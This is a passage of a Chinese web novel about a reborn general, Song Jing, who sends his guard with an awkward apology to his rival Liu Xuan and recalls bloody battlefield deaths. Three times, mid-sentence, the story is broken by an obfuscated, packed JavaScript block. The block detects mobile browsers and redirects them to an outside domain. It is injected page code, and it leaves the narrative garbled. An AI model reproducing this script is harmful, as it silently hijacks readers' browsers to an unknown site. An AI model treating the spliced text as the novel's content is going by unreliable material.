“主子,之前从未听闻你心悦京中哪家贵女,如今有了心仪之人怎也不跟丹良说?”丹良手持蒲扇,缓缓轻摇,替还不能使用冰鉴的宋旌去去夏日暑气,语气中带有几分嗔怪的意味儿,“那姑娘莫不是京中人士?” 这几日,丹良心里一直念着柳悬那日胡诌的话,既有不解,也有不甘。 宋旌正想尝尝自家娘亲亲自替他煲的营养大补汤,闻言也是一怔。 随后忽闻宋旌发出“噗”的一声,丹良见那入口的汤汁顷刻化作飞沫,尽数洒在宋旌的锦被上。 “是何人胡言乱语?!”宋旌质问丹良的声音之嘹亮,宛若惊雷,带有几分愕然与慌乱,一张俊脸被水呛得通红,仿佛被戳中某个不可言说的秘密。 丹良见状,心中更添几分疑惑,想到宋旌那日的模样又觉得确有其事。 “莫非不是?”不敢百分百确信的丹良也有些动摇。 “可是主子那日将柳公子救上岸以后,一直舍不得放开他,抱得那般紧,旁人连分都分不开,嘴里还一直念叨着,不肯让他走,是柳公子说主子许是把他当作心上人才会那般,我起初自然是不信他的话,可是......”丹良边说边向宋旌的方向偷瞄一眼,有些心虚,“主子也没道理会抱着他呀” 丹良小声嘀咕一句后,又回复到平常说话的音量,接着说:“总之,我也为此想了好几个晚上,总是想不出柳公子为何会晓得连我也没听说过的事情” 被打开了话匣子,丹良活脱脱像只小麻雀一样,一直叽叽喳喳,说个不停。 宋旌也不知是被汤水给呛得,还是被呆呆傻傻的丹良给气得,在他彻底没有进食的心思后,他仍是止不住得,咳了许久。 好不容易才缓过来,宋旌撩开已经弄脏了的锦被,在丹良阻止他下床之前,先一步走到对面的矮几旁坐下。 “他……他当真这样说?”宋旌的神色变得复杂难辨,说不上是怒还是喜,话语间既有试探与懊悔,又有一丝难以名状的尴尬与窃喜。 丹良点点头,将宋旌弄脏的锦被抱到一个专门用于存放衣物的藤篮里,等着负责盥洗的人来取。 宋旌盘坐在矮几前,撑着脑袋思索了一阵子,他忽然想起,自打他从这具年少时期的身体里苏醒以来,他还从没有见过连松一眼。 况且,以宋旌现在跟柳悬这般交恶的关系,即便他想去英才院找柳悬聊聊,柳悬也不会轻易见他,所以倒不如让连松替自己去走一趟,以连松的身份,反倒是能让柳悬放下些戒心。 “连松呢?”宋旌心念一动,跃跃欲试,拍案而起,觉得自己这个的打算,甚好! “啊?”丹良正在更换新的床褥,他不懂宋旌为什么要这么问,动作一滞,茫然抬头,一脸困惑,仿佛置身于云里雾里。 “愣着干嘛?去呀,把连松叫来”宋旌从丹良的手里夺床褥,语调间竟透出几分隐隐的期待。 或许是因为太想把前四十六都没来及说的话说给柳悬听,宋旌此时的心情就像他十二岁那年第一次披甲迎战一样,一刻也等不了了。 丹良虽不明白宋旌是何用意,但他还是放下活计,连忙应了声“哦”,领了宋旌的吩咐,屁颠屁颠地跑到院里,抬头,憋足一口气,朝天大喊道:“宋卫尉,主子叫你!” 下一秒,只见一道人影如流星划过天际般落至院中,此人正是连松。 连松身着一袭劲装,身形挺拔如松,面容冷峻,眼眸中似有坚毅的光芒闪动。 不管再瞧多少次,丹良都会惊叹于连松那宛若天降神兵般的轻功。 “主子在屋里等你,宋卫尉快去吧” 丹良待连松落稳后,向他指了指屋内的东北角。 连松颔首致谢,身形一闪,便已消失在原地,再出现时,已是在宋旌面前。 “主子有何吩咐?”连松拱手行礼。 熟悉的声音,熟悉的面孔,忽然毫无征兆地出现在自己眼前。 宋旌从前不曾想过,如果有一天他还能看见这些已经逝去的人又活生生地站在他的面前,他该以什么样的心情去面对。 是欣喜? 是悲伤? 是愧疚? 还是无地自容? 此时,或许连宋旌也没有察觉到自己原本雀跃的表情在看见连松后变得有多严肃...... 那张熟悉而陌生的脸在宋旌的脑海里跨越了三十年的时光,再次重叠在一起。 宋旌记得他上一次见连松,还是在他刚听闻宋家下狱,父亲非诏入京,被宦官赵伺乱箭射杀在盛京城门下,而死里逃生的他也已经准备誓死赶回盛京的路上。 那时,宋旌率领的旗国府兵正在跟柳悬率领的起义军对峙,南方的大雨下了整整一旬,雀山上山体滑坡,如猛兽般肆虐的泥石流,带着黄土、巨石与尖锐的枯枝烂桠,如潮水般袭向两方军营。 后来,山路被切断了,两方军队都被冲散了,宋旌彻底跟外界断了联系,而柳悬跟他一样,都在那场天灾中与自己的属下走散了。 那段被困深山的日子或许是宋旌与柳悬吵得最少的时候,也是宋旌自领兵平反以来过得最安稳的几天。 只是那样的安稳终究还是假象。 在宋旌与柳悬协力逃出鬼门关后,两人就各自回了己方阵营,可宋旌没想到他才堪堪经历了九死一生,就又听说宋家于几日惨遭横祸、父亲亡于宦官的不幸...... 是老天要忠心耿耿护了旗国百余年的宋家亡吗?! 那一刻,宋旌心乱如麻。 乱了方寸的他明知道自己不能像父亲那样不顾前方的战况,擅自带兵回京。 他更知道回京的路上到底有多少潜伏的危机! 可是他娘跟宋家的百余条性命还死死地捏在幸帝顾锦城的手里,他若不回去争辩个是非,他宋家满门就会被京里那些豺狼虎豹吞得连骨头渣都不剩。 于是,宋旌不敢带太多人,他怕幸帝真信了那些佞臣的鬼话,他不能再让别有用心的人抓住他宋旌的把柄,他能带且愿意不顾一切追随他的人,只有连松一人。 出行那天,天下了雪。 盛夏时节,回京的道路上灰雪纷飞。 宋旌还是在离京不远的地方遭了一行人的埋伏。 那些人皆着旗国禁兵官服,却皆不使用禁兵佩刀,也不悬挂禁兵铭牌,叫人看不出身份。 他们是有备而来。 一排又一排的死士,拖着一条又一条铁链,训练有素、不留余地。 肃杀的空气里满是金属的碰撞声,这些人用最狠毒的招式,招招要人性命。 最终,奋力厮杀了整整两日的宋旌还是被他们用附有倒勾、淬了麻药的玄铁阵困住了双拳,而连松也早已筋疲力竭。 敌人,像毒蛇般前赴后继、阴暗爬行。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13991655|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在寒冷的风雪里,衣衫破烂、只着片甲的连松即使在最后关头也没有逃离。 “将军!” “国君不仁!” “宋家蒙冤......” “一生护国的老将军死不瞑目啊!” 利刃割破了连松的手臂,一瓢鲜血洒在旁边的松树上。 “连松......怕是不能再护你了” 倒勾扎进了宋旌的皮肉里,又从他白皙的肌肤中穿出来,当披头撒发的宋旌被飞鹰阵牢牢锁住四肢、再像提线木偶一样高高地抛上半空时,连松为了护他,前后身中数把银枪,最要命的那一把,贯穿了连松那颗高昂起的头颅,从他的额间洞穿,直直地插入地里。 连松,就这样,如同一个草靶,被他们活活地钉死在地上。 那一日,黑鸦哀鸣。 青草地上,连松那具满是破洞的尸体挂在数十把银枪上,他的身上皆是深可见骨的刀枪,而他的束冠已早在打斗中破碎,墨黑的长发像是黑缎般披盖在他残破的身躯上。 鲜血就那样顺着连松的身体,从手臂流到手指再滴在身下的野花上,野花枯萎,而脚下的泥土里,天上下的灰雪,掺和着地里的黄土,被连松流尽的血给浇透,那一摊血渍像是一朵盛开的血莲,绽放在无人记得的地方。 思及此,宋旌的心情变得有些沉重。 只因他当时已被那行人抓走,连替连松安置身后事的机会都没有。 “主子,你醒来后,可叫府上的郎中替你仔细瞧过?”连松见宋旌把自己叫来也不下令,还神色忧郁地瞧着自己,直瞧得他心里发毛,就好像......就好像自己已经是个凉透了的死人一样。 宋旌如坠梦中,被连松点醒后,他才想起自己现在的身份。 宋旌收拾好混乱的心情,瞪了目无尊卑的连松一眼。 这小子,果然还是跟以前一样,口口声声说不敢,但桩桩件件皆大胆,宋旌自是听得出连松的言外之意:“你要是想找个郎中瞧瞧,我不介意请你去一趟归宁堂” 宋旌挑了一侧剑眉,双手环胸,俨然一副看好戏的模样。 归宁堂是宋家执掌罪罚的地方,凡是进去的人,最少也要脱几层皮才能活着从里面走出来,所以宋家人无不对此敬而远之。 “还请主子好生歇息,连松告退”还不待宋旌让他走,连松一听见归宁堂,就脚底抹油,一刻也不肯耽搁,立马准备溜之大吉。 “站住!”宋旌冷哼一声,他就不信自己还治不了这小子,“回来” 随着宋旌的口令,已经瞬移到门外的连松又退了回去:“请主子吩咐” 这一来一回,宋旌那恍若如梦的寂寥之感终是减淡了几分,而他现在也多少能以平常心去看待眼前人了。 见连松到底还是听话,宋旌深感欣慰得点了点头,把连松拉到自己跟前,附在他的耳边,小声吩咐了一些旁人听不清的话。 待宋旌交代完,丹良只见连松一脸为难之色,又小心确认道:“主子当真要连松这么说?” 宋旌不以为意,摆了摆手,他不懂连松为何也像丹良那般啰嗦。 难道他宋旌想跟柳悬重修旧好...... 嗯......就算没有旧好,那重新认识一下应该也不为过吧? 很奇怪吗? 明明是一件皆大欢喜的事情,宋旌就不明白,为何他身边的人都如此...... 死板! 教条! 唉~ 宋旌扶额,心中感慨万分。 真是年纪轻轻却接受不得一丁点新的事物。 连松眼见宋旌满脸已经皆是不耐烦,知道他家主子应该不是开玩笑,所以他也不再多问什么,只留下一句“属下听令”后,就消失在原地。 5. 传话 公元700年,旗国皇帝顾锦城在盛京敕令兴建英才院,昭告天下,命从六品以上官员家中所有未及冠的子嗣,皆须背负书箧,远赴京师,入英才院,由学博统一 jiao 化,深入研读圣贤之典,以期未来学成之日,能够步入朝堂,为官一任,造福百姓,共襄社稷之繁荣。 天色渐晚,英才院的一间风斋里,明亮的烛光随风摇曳,光影映照在精雕细琢的木制窗棂上,勾勒出一个清瘦的身影。 轻红从外间进来,手里还端着刚熬好的汤药,“公子身子还未好全,怎又开始修书了”,轻红的声音中带有几分心疼与责备,埋怨地瞧了柳悬一眼,终了还是轻叹一声,不忍同他计较。 柳悬身着一席素色长袍,端坐在堆积如山的案几前,发丝如墨色瀑布般,轻轻地垂落在柳悬的身后。 柳悬手中的笔在白色的宣纸上灵巧地跳跃、舞动,勾勒出一行行像古画一样美的符号,灯光的斜影下,柳悬的字俊逸潇洒,又隐含一丝凌厉与苍劲。 “不妨事”柳悬惫懒得很,只见他讨好的笑着,用低沉、温润的嗓音,努力辩解道,“睡得久了,身子实在有些乏,总要起来活动活动,方能驱驱身上的病气” 轻红自是知道她家主子是个什么样的人,况且她说也说不过他,所以在柳悬主动低头向她讨饶后,轻红也只是佯装出生气的样子,娇俏地白了他一眼,而后,便乖乖去帮他研墨了。 这时,一直在外练剑的飞雪悄无声息地走了进来。 “公子,连松求见” 飞雪向来不愿介入轻红与柳悬之间的对话,就像她耳力极佳,在外也能将屋内的事情听得一清二楚,但她仍会装成一副什么都听见的样子,只乖乖做个毫无存在感的传声筒。 “他怎么来了?莫不是少将军还想找咱们的麻烦不成!?”不出意外,柳悬还没出声,如临大敌的轻红先像只炸毛的猫一样,十分警惕、万分不悦地抱怨起来。 “轻红......”柳悬轻叹一声后,温柔地制止了轻红,语气中没有责备,满是安抚。 轻红当然能听明白柳悬的意思,其实她也知道,知道连松虽然现在是少将军的贴身暗卫,但他是宋将军给少将军的人,所以说到底,连松至少在名义上还有一半代表了宋将军本人。 正因如此,于情于理,柳悬都不能不见连松,更不能像对待丹良那样简单粗暴地对待他。 柳悬放下笔,稍稍整理了一下自己的仪容,向飞雪柔声道:“请他进来吧” “是”飞雪接下指令,转身退回庭院。 此时,连松正站在庭院的杏树下端详飞雪刚落下的佩剑。 月光透过树梢的缝隙照在男人那如青松般提拔的身躯上,为他平添了几分神秘与孤傲。 连松在察觉到飞雪的气息后,自知自己不问自取的行为太过冒昧,赶紧用双手呈上的姿势,将飞雪的佩剑奉还于她,“抱歉!” 飞雪拿回剑,没有多言,只是微微侧过身,示意他可以入内。 连松欲言又止,他拱手谢过飞雪,只不过在他准备进屋之前,他又犹豫了片刻,停了下来。 “姑娘” 连松叫住飞雪。 “方才,我远远瞧你使了青莲剑决中的第四式,万莲并蒂” 说着,连松抽出佩刀,依样比划起来。 “当时你的剑尖在回挑时,肘部离身体太近以至于让自己被剑气所伤” 连松使刀,像用剑一样,还原出自己刚看见的场景。 “姑娘下次不妨试试将手肘向侧上方再抬高三寸,我想应该会有所改善” 连松边说边向飞雪演示了一遍。 说完,连松痴痴一笑,如释重负般推门而入,只是......他当时不曾回头。 不然,他就会看见冰雪天地中有一朵娇艳的红梅在出现片刻后,迅速消融。 月光从连松拨开的门缝间,如流水般倾泻而下,将连松的身影拉得很长。 “连松,见过大公子” 连松俯身行礼的动作若行云流水般自然得体,即便他与柳悬的身份悬殊,可他在柳悬面前依旧不卑不亢,只留给人一种沉稳内敛的印象。 “宋卫尉不必多礼”柳悬依旧坐在堆叠如山的案几旁,他抬手,隔空虚扶,示意连松起身,一如往常,随意、平和,让人看不出他的所思所想,“少将军有何指示?” 柳悬轻扫过堂中央那具精美、巨大的箧笥,端起轻红搁在他手边的汤药,像饮白水般不动声色地喝下。 随着汤药流动,屋里逐渐弥散开一股浓烈的清苦味。 连松闻见那苦味,饶是他这种从小在死人堆里摸爬滚打、吃尽苦头的人,也不由自主地蹙起眉。 连松指了指同行的箧笥,回:“主子挂念大公子的身体,命属下送些补品药材与被褥衣衫过来,望大公子多多保重” 待柳悬轻置下药碗,房间内的苦气慢慢散去,他重拾起笔,继续描绘出纸张上的隽秀文字。 “少将军有心了”柳悬淡然一笑,知道连松此行仅受命于宋旌一人后,他略感心安。 此前柳悬以为连松是得宋将军的令才来宽慰他,不敢怠慢,如今虽然自在些许,也已确定宋将军与连松无关,但柳悬心下的疑惑却更浓烈了。 往常,倘若宋旌醒来,那定是要闹着烧了他的幽兰院,直到宋旌被宋将军赏个几十军棍,打得宋旌跳不起来,再领宋旌跟柳悬一起吃顿饭,而柳悬佯装出乖顺模样,假意与宋旌讲和,他才会愤愤不平,被迫罢休。 怎的?那个以前动不动就叫嚣着要烧他的院子,时不时就摆出一副想冲上来凑他个千八百遍的呆子居然真的开窍了?甚至还想主动跟他虚以委蛇、粉饰太平? 真是太阳打西边出来了...... 不!简直是比太阳有悖常理还要奇怪! 柳悬实在是想不明白,宋旌为何要特意命连松送些东西过来来示好?更不知道他的这些劳什子里是不是另有玄机? “宋卫尉还有事?”柳悬见宋旌将什物都放下后,却不打算离开,心里的疑窦更多。 连松一改方才的镇定自若,有些狭促地瞥了眼正在打量他的轻红,像是要了他的命一样,憋了半天后,才以一种近乎英勇赴死的决绝姿态,断断续续、犹犹豫豫地开了口:“主子……还有些话,命我……命我转述给大公子” “哦?” 柳悬轻抬起眼帘,语尾微扬,言语间虽是谦逊发问的意味儿,但他的眉目间却没有显现出丝毫意外。 果然!柳悬就知道宋旌不可能只是送些不打紧的物件来糊弄此事,他一定还藏了什么不可告人的秘密,等着自己分心或松懈下来的时候,再给自己一击重击。 柳悬瞧连松一副内心挣扎、难以启齿的模样,瞧得他也不禁开始好奇宋旌想让连松说的话,到底是什么? “宋卫尉但说无妨”柳悬停下笔,严阵以待。 “主子说......”连松鼓起勇气,好不容易才开了口,却又戛然而止。 屋子里,所有人皆停下活计,无数双好奇的眼睛一眨不眨地盯在连松身上。 一时之间,本就不大的风斋内空气陷入凝滞,时间像是禁止了一般,只余下众人的呼吸声与心跳声。 连松深吸了一口气,终于学着宋旌那时的语气,从牙缝里挤出几个字:“以前是我少不更事,对......对......对......” “对什么对呀!对对对” 好不容易才说了句正经话,还是一句没头没尾,听起来不打紧的话,结果连松又开始磕磕巴巴了。 这一下,气得轻红一用劲,竟把手里研磨的墨条给拍断了。 “我看你连传话都传不明白,得亏你高低还是宋府暗卫的统领,真就是头脑简单、四肢发达的莽汉!” 轻红说完,见连松的脸也急红了,只得怒其不争,猛哼一声,退到一旁的矮凳上坐下。 柳悬轻咳一声,将紧捏的五指松开,清了清紧张到发酸的嗓子。 “请宋卫尉切勿介怀,轻红向来心直口快”柳悬那温润柔和、像是唱诗般悦耳的声音响起,让室内的气氛缓和了些许,“少将军若没说什么要紧话,宋卫尉当是传过了即可,柳悬必不会在少将军跟前多言” 柳悬一席话让众人又恢复了常态。 柳悬想着,那天天“老子”、“孙子”挂在嘴边的宋旌定也不会让连松转什么好话。 思及以往,宋旌能说的,无非就是一些獠贼、鼠辈、乞索儿、厚颜无耻、鸠占鹊巢或奸诈贼子、不似男子之类的混账糊涂话......而柳悬觉得,这些话......委实是不听也罢。 这边,柳悬重新伏案写字,在劝完左右为难的连松后,刚想放下心里那点好奇的念头,打定主意要送客,免得让宋旌那小子得逞,白白坏了自己今日的好心情。 “主子说”那边,连松把心一横,却是狠心咬碎了牙,以平生最快的语速与声量,几乎没有任何停顿,一口气不带停歇,瞬间说完一大段话:“以前是他少不更事对柳哥哥多有冒犯得罪之处还望哥哥多多包涵!主子还说他大病一场后如梦初醒悔不当初万分思念哥哥请哥哥早日回府!” 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13991656|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语似惊雷,威震九霄。 “哈?!!!” “嘭通”一声,轻红吓得腿一软,一屁股摔在地上,一脸不可置信,不禁惊问出声。 风斋内外,众人皆听清了那句“万分思念哥哥,请哥哥早日回府” 一时间,交头接耳的动静让狭小风斋像一个煮沸的汤锅,“咕嘟咕嘟”,吵得热闹。 六一坐在窗框上,本就无心他们之间的是是非非,只顾着吃轻红给他做的限定版糖葫芦,可是当他听闻宋旌要请他家主子回去住的时候,小小的六一还是惊得张大嘴,瞪圆一双圆溜溜的眼珠子,活像是摸到了蟾蜍的粘液般,浑身恶寒,连嘴里的糖果子“咕噜噜”地滚到了地上,也没能让他缓过神来。 室外,飞雪练剑的手一顿,身形猛地踉跄了一下,差点就老马失蹄,在平地里栽了跟头,呆站在冷风里,飞雪一想到宋旌说这话的表情,就禁不住将脸上的五官折叠成一团,忍不住抖落一身的鸡皮疙瘩。 此时,没有人敢轻易出声答话,就连平日里最爱抢话的轻红,此时也小心翼翼地左右打量起柳悬与宋旌的神色,噤若寒蝉、心思复杂。 柳悬坐在案几旁不怒不笑,他就那样直直地望着宋旌,眸光深邃、风平浪静。 不知道过了多久,柳悬就像是被人按下了定格键一般。 直到风吹落了笔尖上的墨滴,滴在了洁白的纸面上,覆盖了刚写上的字,徒留下一团黑色的墨渍时,柳悬才搁下笔。 “......” 柳悬没有说话,室内的气息忽然变得诡异起来,没有人知道他在想什么,也没有人知道他会这么做。 连松掩嘴,故意干咳了几声,虽然他现在也觉得场面略有些尴尬,但是那些肉麻的话已经脱口而出,他反而觉得心里轻松、坦荡了不少。 “大公子?”连松又唤了一声。 柳悬此刻只要听见连松叫他,他的心脏就莫名得突突直跳,连手心里都沁出了一层薄汗。 抬起头,柳悬凝视着连松,没有答话。 不知为何,连松总觉得当前的柳悬虽然依旧文文弱弱、谦逊温和,也没有表现出任何不满,或者阻止他开口...... 不过当柳悬那如深渊般浓稠如墨的眸子望向他的时候,连松还是不由自主,萌生了如芒刺背、毛骨悚然之感,就好像柳悬只这般静静看着他,便不怒自威。 连松被柳悬瞧着,就像是被蟒蛇勒住了颈项,如鲠在喉,他这个连主子宋旌都从不怕的人,此时却觉得头皮发麻、双腿发软。 然而,哪怕本能告诉连松,现下应该什么都不说,赶紧逃命! 可是职责还是迫使他咽了咽口水,硬着头皮说:“主子听说” “上次他坠湖昏迷后不小心抱了公子,公子却以为主子是将公子当成旁人” “主子觉得这是天大的误会,他让我务必要转告大公子” “请大公子放心,他宋旌心里只有你跟宋家,再也容不下外面的莺莺燕燕” 逐字逐句说完,在众人皆猛吸了一口凉气,瞪大眼睛、屏住呼吸的同时,连松赶紧退至敞开的大门外,止不住打了一个寒颤。 不出所料,连松才刚退出去,一声隐忍至极、满含羞愤与恼怒的“滚!!!”就伴随一只青瓷绘花的药碗,向他直直砸来。 泛着苦涩气味的瓷碗砸在了连松方才的位置上,像烟花般炸开,裂成无数碎片。 连松走了,在柳悬气红了脸、双手撑在身体两侧,以勉强支撑那摇摇欲坠的上半身时,终于完成指令的连松“听话”地离开了。 柳悬靠在轮椅的扶手上,紧攥着胸口前已经起皱的衣料,起伏的胸口昭示着他短时间内无法平静下来的心情。 什么叫心里只有我跟宋家? 什么叫再也容不下外面的莺莺燕燕? 什么叫让我放心?我需要放什么心?! 这算是什么? 是宋旌新想出来的报复方式? 是因为他对丹良编排宋旌心有所属的惩戒? 还是因为宋旌察觉到他当时有意说宋旌是登徒浪子的警告? 宋旌当他是什么? 是勾栏院的卖笑小馆? 还是世家家里豢养的娇美门客? 宋旌是在消遣他吗? 还是在侮辱他? 他宋旌心上放着谁跟他柳悬又有什么关系? 他宋旌说心里有他到底是几个意思? ...... 柳悬想不明白......他现在只觉得自己的脑袋要炸了,脑瓜子嗡嗡的疼。 6. 断手 “宋卫尉?你怎么躲在这儿?” 丹良抱了比他半个身子都高的一摞书册,站在连松的身前,好奇地看向爬在灌木从里探头探脑的连松。 昨夜,连松回府后,没有直接来宋旌的院里汇报,而是去城东的城隍庙里求了道平安符。 这一来,是因为连松只要想起柳悬那时的眼神就脊背发凉,有些害怕,为求个诸邪避散、百毒不侵。 这二来,是因为他觉得自己替宋旌办得这事不太地道,就好像他们光欺负柳悬一个烈士孤子不够,还要故意折辱、轻贱人家,为自己攒点阴德。 被丹良发现后,连松直起身,也不再藏着掖着,径直走出灌木丛,替丹良分担了一大半书册,向他打听道:“主子呢?” 丹良还未答话,连松的右肩就被人从后拍了一下:“这儿” “教了这么多年,你还是一点警惕性都没有”宋旌慢悠悠地走出来,手中把玩着一只短笛,也不晓得他是从何时起出现在这里的。 宋旌边走,边从连松抱的书册里抽了一本最薄的,随口问道:“话带到了?” 三人走进院子,宋旌在藤椅上躺下。 连松跟着丹良,将书册放在宋旌身旁的石桌上。 石桌旁有一颗坠满红桃的桃树,上方有一排郁郁葱葱的葡萄架,一串串葡萄像宝石一样坠在翡翠间,夏日的阳光透过青翠的绿叶,洒在宋旌的粉袍上,斑驳陆离。 连松沉默了一会儿,才“嗯”了一声。 “柳悬怎么说?”宋旌也不催他,只随手从树上摘了颗汤汁饱满的桃子,咬了满满一口,等连松回应后,才又接着问他。 “大公子说......”刚开始回话,连松忽然犹豫了。 按规矩,连松应该事无巨细地跟宋旌汇报任务细节与结果,可是想到宋旌与柳悬的关系,他又怕宋旌听了后,又惹得他不高兴。 宋旌抬头,视线停留在连松略显纠结的眉眼间:“怎么不说了?” 连松抓了抓脑袋,有些说不出口,但又不好意思驳了宋旌的面子,只得凑到他的耳边,小心打量宋旌的心情,声音微弱蚊蝇:“大公子说,滚” “啊?” 宋旌怕痒,受不了连松在他耳边一呼一吸的感觉,他反射性躲开,先是一脸不可置信的怔愣,后又转瞬大笑起来,“哈哈哈哈哈” “他......当真这么说?”宋旌扶着藤椅的把手,笑得花枝乱颤、前仰后合,连眼角都盈出了晶莹的泪花。 他没想到自己重活一次,居然能把前三十年里,从没有在任何场合下爆过一次粗口,哪怕是被自己百般羞辱、针对、挖苦的谦谦公子柳悬,给羞恼得顾不上维持自己的形象......宋旌就觉得,这...还真是骂得好! 连松瘪了瘪嘴,瞧他家主子那副贱兮兮的样子,居然在被柳悬骂了后,还能不怒不恼不想扳回一城,甚至还笑得那么酣畅淋漓、春心荡漾,他就觉得宋旌很是不对劲,可他又说不上来究竟是哪里不对劲。 让连松退下后,宋旌也已平静下来。 在脸上盖了一本书,宋旌独自躺在藤椅上,思考自己从那日在谭底遇见那白发少年后,直到此时此刻,所发生的所有事。 自打宋旌从昏迷中醒来后,他不是没有想过自己是不是哪日真做了一场春秋大梦?亦或是那一日被柳悬设计,掉进碧水湖里,出现了光怪陆离的幻影? 只是......宋旌抬起右手。 阳光下,宋旌的右手像是一块晶莹剔透的名贵琥珀。 宋旌的手掌宽大,手心里覆盖了一层又一层的细茧,他的指纹因为常年握持银枪而被磨平,手上的骨节根根分明,经络纹理清晰可见,细细的血管中血液像是活泉一般富有生命力,汩汩流动。 宋旌动了动僵硬的手指,这种感觉有些生疏。 这只手......有多久没有像现在这般灵活了? 似乎从那把刀插进皮肉间,刮过他的桡骨与尺骨,将一根根像琴弦一样绷紧的手筋一起挑断、再放入满是虫豸的容器里,任其啃噬干净那断手上面的血肉的那一刻起,他就再也没有用过这只手使枪了。 如今,这只残废了二十四年的手居然原好无损的出现在宋旌的面前,就好像那二十四年的苦难从不存在,这让宋旌如何能轻易接受? 宋旌收回手,用指间抚过右侧锁骨上的红痕,那月牙一样的枪伤,正是宋旌曾活过四十六年的证据。 他记得,他曾经本已无生念。 国破家亡、万念俱灰下,失魂落魄的少将军像是一只孤独的幽魂,飘荡在一片只余硝烟的残瓦废土上。 宋旌跪在宋家旧宅前,身上只着一件素衣,右手还缠着裹帘,他脚下的黑土里有宋家百余人与盛京数万人的生魂。 他愧对于国、更愧对于家,他恨那些蚕食国本的蝇营狗苟,可是再恨也挽不回眼前的一切...... 形如槁木,宋旌用残存的左手生涩地挥舞起那把杀敌无数、护一方安宁、跟随自己多年的红缨枪,枪身不受控制,在划破他胸前的素衣薄衫、在他的锁骨上留下一道月牙长的伤口后,才堪堪被他握紧。 那时,宋旌本想用那把白杆红穗的长枪洞穿胸腔里那颗仍在跳动的心脏。 可在枪尖即将扎入胸口时,一只莹白的手却穿过宋旌的颈侧,一把握住枪尖。 柳悬一手握紧宋旌的枪,一手抬起宋旌的下颌,那强硬、蛮横的姿态一点也不输曾经纵马过街的粉衣少年郎。 宋旌欲抽回枪,但那平日里文文弱弱的柳悬却像不知疼痛似得,不给他丝毫挣脱的机会。 柳悬握住冰冷的枪头,强迫宋旌握枪的手跟随他的动作,移到他那苍白、紧实的咽喉上。 “要么杀了我!要么活下去!” 锋利的枪刃割破了柳悬的手掌,鲜血一股股流下来。 柳悬的眼神凌厉,像是发狂的毒蛇般阴鸷地瞧着自暴自弃的宋旌,说话时,那上下滑动的喉结被尖锐的枪尖刺破,一颗颗细小的血珠凝结在晶莹剔透的绒毛上。 跪在地上的宋旌被柳悬强迫仰头,像是彩虹的一端,从跪在地上的双膝向上弯曲成一个弧形,虚靠在柳悬的双腿上。 鲜血滑过柳悬那苍白的指节,滴在宋旌的眼角,渗进宋旌的眼眶,染红了宋旌的视线。 柳悬居高临下,凝眸注视他,声音又恢复到平常那般温润柔和,像在陈述一件很轻松的事,可平淡的语调里却有不容违抗的坚决,就像立下军令状的死士。 “不杀我,就别想死”猩红的世界里,柳悬就像是血色中生出的妖魔。 “你我之间,只有我死你活,你的生死从由不得你做主,从前是,现在是,以后更是如此” 那日,柳悬的身上有一种宋旌从未见过的嗜血威压,看见柳悬那副隐忍而疯狂的模样,宋旌很害怕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13991657|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不明白他为什么会怕自己伤了柳悬,又为什么会任由柳悬肆意操控他。 宋旌放弃了思考,像一摊烂泥,仰倒在柳悬身上,那持枪的手也坠至身侧。 如今,右侧那道狰狞、丑陋的伤疤已经消失不见,但是红痕却依然存在,这是曾经的宋旌所不曾拥有的标记,也是唯一证明他已存在于世间四十六载的记号。 宋旌不明白自己现在算怎么回事? 即使他也听过不少志怪传闻,知道轮回转世、借尸还魂之类的鬼怪之说,也读过诸如《枕中记》中黄粱一梦之类的梦境怪谈......只是,自己这种未死而生的情况倒是从前闻所未闻,以至于宋旌现在还分不清自己是做梦,还是醒着,亦或是他本就同时存在于梦里与梦外...... “少将军,府外有人求见” 正在宋旌思绪最活跃的时候,有人敲响了他的院门。 宋旌听来人说话时的声音,像是外院理事的管家,也就懒得坐起身,仍顶着那本闲书,懒懒问道:“何人?” “自称是少将军您的同席”管家规矩地站在门外,没有贸然进入。 宋旌拉下书册,忽然来了兴致,他竟不记得自己还有能寻上门的同席?毕竟他向来瞧不上京中那些养花逗鸟、日日只懂逛青楼小馆的公子哥,所以平时离了英才院,与他们的走动都很少,除了父亲一些属下的武官子弟外,几乎没人敢轻易找上门。 “可有请教台甫?”宋旌问。 “问了”管事点点头,又向宋旌一字不落地转述道:“说是琅地孙域使之子,孙大公子,听闻少将军病了,便顺道来看看” 孙禹?!来看他?还顺道!? 宋旌很意外,也很困惑。 此时,宋旌光一想到孙禹那张表面上率真、阳光,背地里阴险、狡诈的脸,他的脸色就毫无征兆的阴沉下来,右手的骨缝间像是装了千万只蚂蚁在撕咬般,又痒又痛。 “不见!” 